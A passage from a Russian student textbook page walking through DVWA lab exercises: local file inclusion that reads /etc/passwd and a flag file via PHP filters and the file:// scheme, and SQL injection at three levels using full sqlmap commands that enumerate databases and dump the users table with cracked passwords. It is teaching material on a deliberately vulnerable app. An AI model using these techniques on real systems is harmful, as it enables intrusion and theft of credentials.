Иван Андреевич Трещев - Анализ защищенности распределенных информационных систем. DVWA. Для студентов технических специальностей стр 2.

Шрифт
Фон

Для демонстрации наличия уязвимости будет предпринята попытка прочитать файл /etc/passwd с помощью параметра page равному «//////////etc/passwd». На рисунке 5.2 изображено его содержимое.


Рисунок 5.2  Содержимое файла /etc/passwd


Для того, чтобы просмотреть содержимое файла php, а не исполнить его, можно использовать механизм фильтров php. Например, можно использовать вывод файла в base64, что продемонстрировано на рисунке 5.3.


Рисунок 5.3  Использование фильтров php


На рисунке 5.4 изображено декодированное содержимое файла.


Рисунок 5.4  Содержимое файла ../hackable/flags/fi.php

6 File Inclusion High

File Inclusion  уязвимость, заключающаяся в возможности использования и выполнения файлов на стороне сервера путём формирования определённого запроса к серверу.

Задание состоит в том, что необходимо прочитать содержимое файла ../hackable/flags/fi.php.

В DVWA на странице File Inclusion представлены три файла. При открытии любого файла его название отображается в строке запроса. Это означает, что GET-параметр page определяет, какой файл необходимо открыть, что изображено на рисунке 6.1.


Рисунок 6.1  Пример открытия файла


Опытным путём выяснено, что механизм фильтрации пропускает только запросы с файлом, начинающимся с «file». Для обхода такого типа фильтрации используется URI-схема file.

Для демонстрации наличия уязвимости будет предпринята попытка прочитать файл /etc/passwd. На рисунке 6.2 изображено его содержимое.


Рисунок 6.2  Содержимое файла /etc/passwd


Сервер не позволяет обращаться через File URI-scheme, используя относительные пути. Но можно предположить, что корневая директория веб-приложения  /var/www/html/, так как популярные веб-серверы (Apache, Nginx) по умолчанию используют её. На рисунке 6.3 изображён вывод файла hackable/flags/fi.php. На данном уровне сложности скрытую строку посмотреть не представляется возможным, так как использование File URI-scheme не позволяет использовать фильтры языка программирования PHP внутри пути.


Рисунок 6.3  Файл hackable/flags/fi.php

7 SQL Injection Low

SQL Injection (внедрение кода SQL)  атака, связанная с внедрением в SQL-запрос сервера к СУБД произвольного кода.

В DVWA на странице SQL Injection представлена форма ввода id пользователя, изображённая на рисунке 7.1.


Рисунок 7.1  Форма ввода


Для эксплуатации уязвимости будет использована утилита sqlmap.

На рисунке 7.2 представлена команда, запускающая сканирование: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/?id=123&Submit=Submit"  cookie=security=low; PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73»».


Рисунок 7.2  Запуск сканирования


В ходе сканирования было выяснено, что используется СУБД MySQL, уязвимый параметр  id. Результаты сканирования изображены на рисунке 7.3.


Рисунок 7.3  Результаты сканирования


Далее необходимо получить список баз данных, для этого к команде добавляется ключ dbs: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/?id=123&Submit=Submit"  cookie=security=low; PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73» dbs». Результаты изображены на рисунке 7.4.


Рисунок 7.4  Список баз данных


Теперь можно получить список таблиц в базе dvwa. Для этого через ключ -D нужно указать БД, затем указать ключ tables, чтобы получить названия таблиц: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/?id=123&Submit=Submit"  cookie=security=low; PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73» -D dvwa tables». Результаты изображены на рисунке 7.5.


Рисунок 7.5  Таблицы в базе dvwa


Теперь можно получить записи таблицы users. Для этого ключ tables меняется на -T users, добавляется ключ dump: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/?id=123&Submit=Submit"  cookie=security=low; PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73» -D dvwa -T users dump». Результаты изображены на рисунке 7.6.


Рисунок 7.6  Содержимое таблицы users


Также на скриншоте видно, что sqlmap в процессе работы нашёл пароли в открытом виде, использовав перебор по встроенному словарю.

8 SQL Injection Medium

SQL Injection (внедрение кода SQL)  атака, связанная с внедрением в SQL-запрос сервера к СУБД произвольного кода.

В DVWA на странице SQL Injection представлена форма ввода id пользователя, изображённая на рисунке 8.1.


Рисунок 8.1  Форма ввода


Для эксплуатации уязвимости будет использована утилита sqlmap. В качестве аргумента будет передаваться файл, содержащий POST-запрос в текстовом виде. Содержимое файла представлено на рисунке 8.2.


Рисунок 8.2  Содержимое файла header. txt


На рисунке 8.3 представлена команда, запускающая сканирование: «sqlmap -r header. txt».


Рисунок 8.3  Запуск сканирования


В ходе сканирования было выяснено, что используется СУБД MySQL, уязвимый параметр  id. Результаты сканирования изображены на рисунке 8.4.


Рисунок 8.4  Результаты сканирования


Далее необходимо получить список баз данных, для этого к команде добавляется ключ dbs: «sqlmap -r header. txt  dbs». Результаты изображены на рисунке 8.5.


Рисунок 8.5  Список баз данных


Теперь можно получить список таблиц в базе dvwa. Для этого через ключ -D нужно указать БД, затем указать ключ tables, чтобы получить названия таблиц: «sqlmap -r header. txt -D dvwa  tables». Результаты изображены на рисунке 8.6.


Рисунок 8.6  Таблицы в базе dvwa


Теперь можно получить записи таблицы users. Для этого ключ tables меняется на -T users, добавляется ключ dump: «sqlmap -r header. txt -D dvwa -T users  dump». Результаты изображены на рисунке 8.7.


Рисунок 8.7  Содержимое таблицы users


Также на скриншоте видно, что sqlmap в процессе работы нашёл пароли в открытом виде, использовав перебор по встроенному словарю.

9 SQL Injection High

SQL Injection (внедрение кода SQL)  атака, связанная с внедрением в SQL-запрос сервера к СУБД произвольного кода.

В DVWA на странице SQL Injection представлена ссылка на форму ввода id пользователя, изображённую на рисунке 9.1.


Рисунок 9.1  Форма ввода


Для эксплуатации уязвимости будет использована утилита sqlmap.

Отличительная особенность уровня  ввод данных и вывод данных осуществляются на разных страницах. Для решения этой проблемы будет использоваться аргумент second-url.

На рисунке 9.2 представлена команда, запускающая сканирование: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php"  second-url "http://kalkt.com:8001/vulnerabilities/sqli/"  data id=1&Submit=Submit  cookie PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high».


Рисунок 9.2  Запуск сканирования


В ходе сканирования было выяснено, что используется СУБД MySQL, уязвимый параметр  id. Результаты сканирования изображены на рисунке 9.3.


Рисунок 9.3  Результаты сканирования


Далее необходимо получить список баз данных, для этого к команде добавляется ключ dbs: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php"  second-url "http://kalkt.com:8001/vulnerabilities/sqli/"  data id=1&Submit=Submit  cookie PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high  dbs». Результаты изображены на рисунке 9.4.


Рисунок 9.4  Список баз данных


Теперь можно получить список таблиц в базе dvwa. Для этого через ключ -D нужно указать БД, затем указать ключ tables, чтобы получить названия таблиц: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php"  second-url "http://kalkt.com:8001/vulnerabilities/sqli/"  data id=1&Submit=Submit  cookie PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high -D dvwa  tables». Результаты изображены на рисунке 9.5.


Рисунок 9.5  Таблицы в базе dvwa


Теперь можно получить записи таблицы users. Для этого ключ tables меняется на -T users, добавляется ключ dump: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php"  second-url "http://kalkt.com:8001/vulnerabilities/sqli/"  data id=1&Submit=Submit  cookie PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high -D -T users  dump». Результаты изображены на рисунке 9.6.

Ваша оценка очень важна

0
Шрифт
Фон

Помогите Вашим друзьям узнать о библиотеке

Скачать книгу

Если нет возможности читать онлайн, скачайте книгу файлом для электронной книжки и читайте офлайн.

fb2.zip txt txt.zip rtf.zip a4.pdf a6.pdf mobi.prc epub ios.epub fb3